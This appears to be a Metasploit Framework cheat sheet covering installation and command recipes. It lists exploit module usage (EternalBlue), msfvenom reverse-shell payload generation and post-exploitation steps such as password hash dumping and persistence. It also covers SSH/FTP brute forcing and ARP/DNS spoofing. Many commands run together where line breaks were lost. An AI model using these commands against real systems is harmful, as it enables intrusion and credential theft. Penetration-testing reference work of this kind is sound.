
Metasploit is a widely-used security tool for penetration testing, vulnerability scanning, and exploit development. It helps security professionals identify weaknesses, automate attacks, and validate defenses, making it an essential asset for both offensive and defensive cybersecurity strategies.
Installation and Setup
Installing the Metasploit Framework on Windows
- Download the Windows Installer.
- After downloading the installer, locate the file, right-click, and select Run as Administrator.
- When the Setup screen appears, click Next to continue.
- Read the license agreement and select the I accept the license agreement option. Click Next to continue.
- Browse to the location where you want to install the Metasploit Framework. By default, the framework is installed on the C:\ Metasploit-framework directory. Click Next to continue.
- Click Install.
- When the installation completes, click the Finish button.
To launch msfconsole after the installation completes, run the following from the command line:
msfconsole.batInstalling the Metasploit Framework on Linux
Open the terminal.
Enter the following command to add the build repository and install the Metasploit Framework package:
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstallAfter the installation completes, open a terminal window and type the following to start msfconsole:
./msfconsoleThe prompt asks if you want to use and set up a new database. Type y or yes to run the initial configuration script to create the initial database.
To check to see if the database was set up, run the following command:
db_statusIf the Metasploit Framework successfully connected to the database, the following status displays:
[*] postgresql connected to msfRunning, Connecting and Update
msfconsole #Start the Metasploit Consolemsfvenom -h #Display msfvenom Helpmsfdb init #Initialize Metasploit Databasemsfconsole -x "db_connect user:password@localhost/metasploit" #Connect to Metasploit Databasemsfupdate #Update Metasploit FrameworkExploit Commands
use exploit/windows/smb/ms17_010_eternalblue #Select Exploit (Eternal Blue Example)use exploit/unix/ftp/vsftpd_234_backdoor #Select Exploit (vsFTP Example)search exploit_type:remote #Search for remote exploitsshow exploits #Show all available exploitsset RHOSTS 10.1.1.1 #Set Remote Hostset RPORT 445 #Set Remote Portset PAYLOAD windows/meterpreter/reverse_tcp #Set Payloadexploit #Run Exploitrun #Run Exploitexploit -j -z #Run exploit in the background (jobs mode)Payload Generation
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.1.1.1 LPORT=4444 -f exe > payload.exe #Create Windows Reverse TCP Payloadmsfvenom -p linux/x86/shell_reverse_tcp LHOST=10.1.1.1 LPORT=4444 -f elf > payload.elf #Create Linux Reverse TCP Payloadmsfvenom -p php/meterpreter_reverse_tcp LHOST=10.1.1.1 LPORT=4444 -f raw > payload.php #Create PHP Reverse TCP Payloadmsfvenom -p windows/meterpreter/reverse_https LHOST=10.1.1.1 LPORT=4444 -f exe > payload.exe #Create Reverse HTTPS Payloadmsfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.1.1.1 LPORT=4444 -f exe > payload.exe #Create x64 PayloadPost-Exploitation
sessions -l #List all active sessionssessions -i 1 #Interact with session 1sysinfo #Get System Informationgetuid #Get current user IDhashdump #Dump Windows Hashesmigrate 1234 #Migrate to process ID 1234run persistence -U -X -i 5 -p 4444 -r 10.1.1.1 #Set up persistenceSession Management
sessions -i 1 #Interact with session 1sessions -k 1 #Kill session 1sessions -L #List all sessionssessions -t 1 #List detailed information about session 1background #Send session to backgroundexit #Exit the current sessionBrute Force and Password Cracking
use auxiliary/scanner/ssh/ssh_login #SSH Brute Force Scannerset RHOSTS 10.1.1.1 #Set target hostset USER_FILE /path/to/usernames.txt #Set file with usernamesset PASS_FILE /path/to/passwords.txt #Set file with passwordsrun #Run Brute Force Attack
use auxiliary/scanner/ftp/ftp_login #FTP Brute Force Scannerset RHOSTS 10.1.1.1 #Set target hostset USER_FILE /path/to/usernames.txt #Set file with usernamesset PASS_FILE /path/to/passwords.txt #Set file with passwordsrun #Run FTP Brute Force AttackNetwork Attacks
use auxiliary/spoof/dns/forwarder #DNS Spoofingset RHOSTS 10.1.1.1 #Set target hostset LHOST 10.1.1.1 #Set local hostrun #Run DNS Spoofing
use auxiliary/spoof/arp/arp_poisoning #ARP Spoofingset RHOSTS 10.1.1.1 #Set target hostset INTERFACE eth0 #Set Network Interfacerun #Run ARP SpoofingService Enumeration
use auxiliary/scanner/smb/smb_version #SMB Version Enumerationset RHOSTS 10.1.1.1 #Set target hostrun #Run SMB version scan
use auxiliary/scanner/ftp/ftp_version #FTP Version Enumerationset RHOSTS 10.1.1.1 #Set target hostrun #Run FTP version scan
use auxiliary/scanner/ssh/ssh_version #SSH Version Enumerationset RHOSTS 10.1.1.1 #Set target hostrun #Run SSH version scanWeb Application Exploitation
use exploit/unix/webapp/php_cgi_arg_injection #PHP CGI Argument Injection Exploitset RHOSTS 10.1.1.1 #Set target hostset RPORT 80 #Set target portrun #Run Exploit
use auxiliary/scanner/http/dir_scanner #Directory Bruteforce Scannerset RHOSTS 10.1.1.1 #Set target hostset PATHS /path/to/wordlist #Set wordlist for directoriesrun #Run Brute Force Directory ScannerPrivilege Escalation
use post/multi/recon/local_exploit_suggester #Suggest Exploits for Privilege Escalationset SESSION 1 #Set session IDrun #Run the exploit suggestion
use post/windows/gather/enum_tokens #Gather tokens for privilege escalationset SESSION 1 #Set session IDrun #Run token enumerationMeterpreter Commands
sysinfo #Get system informationgetuid #Get current user IDupload /path/to/file /tmp/ #Upload a file to the target systemdownload /tmp/file /path/to/save/ #Download a file from the target systemrun persistence -U -X -i 5 -p 4444 -r 10.1.1.1 #Set up persistenceshell #Drop into a system shellAuxiliary Modules
use auxiliary/scanner/portscan/tcp #TCP Port Scannerset RHOSTS 10.1.1.1 #Set target hostset THREADS 10 #Set number of threadsrun #Run Port Scan
use auxiliary/admin/smb/smb_enumshares #SMB Share Enumerationset RHOSTS 10.1.1.1 #Set target hostrun #Run SMB Share EnumerationVulnerability Scanning and Information Gathering
use auxiliary/scanner/http/dir_scanner #Directory Scannerset RHOSTS 10.1.1.1 #Set target hostset PATHS /usr/share/wordlists/dirb/common.txt #Set directory wordlistrun #Run Directory scan
use auxiliary/scanner/ssl/ssl_version #SSL Version Enumerationset RHOSTS 10.1.1.1 #Set target hostrun #Run SSL scanTunneling and Proxying
use auxiliary/server/socks_proxy #Start SOCKS Proxyset SRVPORT 1080 #Set proxy portrun #Run proxy server
use auxiliary/server/http_proxy #Start HTTP Proxyset SRVPORT 8080 #Set HTTP proxy portrun #Run HTTP proxy server



